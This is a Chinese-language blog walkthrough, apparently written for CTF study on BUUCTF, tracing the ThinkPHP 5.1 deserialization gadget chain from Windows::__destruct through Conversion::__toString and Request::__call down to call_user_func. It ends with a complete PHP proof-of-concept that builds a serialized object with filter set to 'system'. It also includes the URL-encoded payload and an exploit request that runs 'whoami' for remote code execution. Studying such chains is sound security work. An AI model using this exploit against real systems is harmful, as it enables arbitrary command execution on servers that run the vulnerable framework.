0%

ThinkPhp框架反序列化

ThinkPhp框架反序列化漏洞

Thinkphp5.1反序列化链的调用

反序列化的常见的知识

反序列化的常见起点

__wakeup 一定会调用

__destruct 一定会调用

__toString 当一个对象被反序列化后又被当做字符串使用

反序列化的常见中间跳板:

__toString 当一个对象被当做字符串使用

__get 读取不可访问或不存在属性时被调用

__set 当给不可访问或不存在属性赋值时被调用

__isset 对不可访问或不存在的属性调用isset()或empty()时被调用

形如 $this->$func();

反序列化的常见终点:

__call 调用不可访问或不存在的方法时被调用

call_user_func 一般php代码执行都会选择这里

call_user_func_array 一般php代码执行都会选择这里

现在又多了phar反序列化的利用方式,能够反序列化其metadata部分,利用的范围增加了许多!

还是得好好向大佬学习,直接渗透到框架中来了,网上的关于thinkphp反序列化的都看了一遍,建议已经有了php编程基础的和php反序列化基础的深究,脚本小子只需要拿着poc去打就可以了(bushi,我也想从脚本小子慢慢到深究原理,慢慢来吧

源码是在buuctf中的下载的,自己分析thinkphp的代码,然后找到可以反序列化的地方,执行代码

有能力的可以用docker自己搭一个环境然后运行这个代码,傻瓜式打法就是phpstudy搭一个环境,直接把源码放到www下运行就可以了

话不多说,开始分析

Thinkphp反序列化的分析

这一部分,看不看得懂其实无所谓,第一次看我也看不懂,只会跟着大佬调试,不知道他们这一步是为了什么,现在稍稍了解了一些,第一遍看的话千万不要深究,把后面的吃透来再回来看这个可能会更好一些

按照惯例,找利用的入口,一般用__destruct()

打开源码文件,全局搜索__destruct(),发现有很多文件,

这里我们用到windows.php中的魔术方法,这里作为起点

可以看到,__destruct()函数调用removeFiles函数,按住ctrl跟进removeFiles函数,直接跳转过去,看看有哪些文件调用了这个函数

一个简单的for循环,遍历this->files数组,检查数组中的每一个元素是不是文件,那么就要求我们构造的poc中,windows类里,有files变量,并且是一个数组

细心一点,你就会发现进行不下去了,但是,file_exists函数,是一个nb的函数,当传入的参数值是一个对象的时候,files_exists会调用__tostring方法,把这个对象转换成为一个字符串,然后再进行判断,这里又能确定一些东西:

1.构造的poc中files白能量要是一个数组,数组的元素要是对象

2.找到__tostring函数,进入下一站,全局搜索

找到tostring方法在很多文件中,我们这里选择Conversion.php中,

也就是说,我们现在是从windows类中跳到了Conversion类中,那么在poc构造的时候,就要想办法让这两者,通过继承或者是包含,产生一定的关系,要产生关系,这里用到了一个抽象的类

pivot类继承了model类

这里,我们可以将files对象数组,写成pivot对象,这样,pivot是继承model类,不就找到了model类,进而找到了conversion类,从而调用__tostring()函数

继续

在Conversion类中,继续跟进

tojson函数调用toarray方法

继续跟进

到了难的地方,一个一个的跟踪

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//只有当append变量不为空,才能往下,poc中append变量不能为空
if (!empty($this->append)) {
//开始遍历,并且是键值对,所以我们构造的append变量还得是一个键值对
foreach ($this->append as $key => $name) {
//判断name是不是数组,我们构造的append的值,要是一个数组
if (is_array($name)) {
//到了这里,我们要想办法让代码往下走
// 追加关联对象属性
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}

上面的代码块,到了this->getRelation(key),无法进行,我们现在需要跳转到另一个类中

这个函数,有三个分支,要让上面的代码往下走,所以if(!$relation)要为真所以relation就要为null,那么就是进入到第三个return

1
2
3
4
5
6
7
8
9
10
11
12
//这里传过来的$name实际上是键值,要想最后返回为空,前面两个if都不能成立
public function getRelation($name = null){
//第一个if,传过来的参数不能为空,也就要求,构造的POC,键不能为空
if (is_null($name)) {
return $this->relation;
//第二个if,要求,传过来的键,不能在$this->relation数组中,但是我往上翻,这个类定义的relation变量默认值为空
//所以我们构造的时候,不传系统默认的,应该就没问题
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}

那么继续

1
2
3
4
//如果getRelation($key)为空,那么$relation为空,那么,就可以往下进行                   
if (!$relation) {
//这里继续把键值传给getAttr($key)函数,我们进入getAttr($key)函数
$relation = $this->getAttr($key);

在attribute类中找到了getattr函数,可以看到,getattr函数最后一行,就是要返回value的值,继续跟进getData函数

我们来看详细代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function getData($name = null){
//传过来的键值不为空,所以跳过这个if,进入下一个if
if (is_null($name)) {
return $this->data;
//最后POC反序列化后,是进入到这里了,因为这里面我们可以在POC构造一个data变量(键值对),最后根据传过来的键,返回data中对应的值
//那么,第三个if中,relation为什么不能构造了?
//因为上面说到getRelation()函数要返回空,所以array_key_exists($name, $this->relation)必须为false
//综上所述,我们这里,在POC中,还需要构造一个data变量,并且也是个键值对的形式,并且键就是传过来的
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

所以,结论如下

1
2
3
$relation = $this->getAttr($key) = $this->getData($name) = $this->data[$name]
这里的$name,实际在传参时传的是$key,所以在Conversion类中
$relation = this->data[$key]

再次回到conversion类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
                    
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
//$relation = $this->data[$key]
if ($relation) {
//$relation现在的值为data[$key],所以我们在构造POC时,data中不要又visible,为什么呢
//在php中,如果调用不存在的方法时,会自动调用__call()函数,前提是这个对象实现了或者继承了__call()
//在本例中,如果visible()函数不存在,会把visible和name作为参数传给__call()
//那么关键问题
//是_call()在哪?这里就要引入Request类了,因为,大佬们,通过全局搜索,搜索到了Request类里面有__call()
//怎么和_call()扯上关系?如果$relation = $this->data[$key] = Request的对象呢?
$relation->visible($name);
}
}

进入request类

代码分析,可以看到这个类中,不仅有call方法,还有call_user_func_array(),这个函数一般就是rce的最后一站

在这里面搜索call_user_func()函数,如下图,所以我们要向RCE,就要控制1466行的call_user_func($filter, $value),那么就要控制filter和value,但是value始终都会被上面的那个该死的array_unshift()改变,所以我们需要找到调用filterValue()的地方

还是在request类中找到了input方法,但是这个方法中的data还是形参,不可控,再找找调用input的方法

还在Request类中,找到了param()方法,但是这个 param()方法中的name还是形参,还是不可控,再找调用param方法的地方

还在Request类中,找到了isAjax()方法,这里在调用param()方法时,不再是用形参了,我们可以构造了

所以hook变量那里面,中转,要中转到isAjax()方法,并且我们要构造一个config变量

找到了链的起始位置为isajax,而执行代码的位置为input()函数中的filtervalue函数,把代码汇总

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
//在input()函数中
//通过getData()函数获取用户的get以及post组成的数组,值为data
//这个data会被当做filterValue()函数的第一个参数,并执行函数
protected function getData(array $data, $name)
{
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
return;
}
}

return $data;
}

//这里是对filter对象的的值进行一个赋值,从$filter = $filter ?: $this->filter
//并且把赋值后的fileter传给filterValue()函数的第三个参数,并执行函数
//所以我们需要构造一个fileter
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}

$filter[] = $default;

return $filter;
}

$this->filterValue($data, $name, $filter);



//input()函数之外

//这里call_user_func($filter, $value)
//call_user_func()的两个参数都来自filterValue()接收的参数
//也就是说用户GET或POST传过来的参数,是call_user_func()的第二个也就是RCE的参数
//POC构造的filter,是call_user_func()的第一个也就是最终执行的危险函数
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);

foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}

return $value;
}

其实很多人是蒙的,我第一次看到这也是蒙的,因为这个链本身就很复杂,很多个转点,这里偷一张别人的图好理解

漏洞复现,直接用buuctf在线环境打

1
http://IP/public/?s=index/index/hello&ethan=whoami
1
2
//post传参
str=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A5%3A%22ethan%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A8%3A%22calc.exe%22%3Bi%3A1%3Bs%3A4%3A%22calc%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22ethan%22%3BO%3A13%3A%22think%5CRequest%22%3A3%3A%7Bs%3A7%3A%22%00%2A%00hook%22%3Ba%3A1%3A%7Bs%3A7%3A%22visible%22%3Ba%3A2%3A%7Bi%3A0%3Br%3A9%3Bi%3A1%3Bs%3A6%3A%22isAjax%22%3B%7D%7Ds%3A9%3A%22%00%2A%00filter%22%3Bs%3A6%3A%22system%22%3Bs%3A9%3A%22%00%2A%00config%22%3Ba%3A1%3A%7Bs%3A8%3A%22var_ajax%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D%7D%7D%7D

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["calc.exe","calc"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
?>

头脑风暴!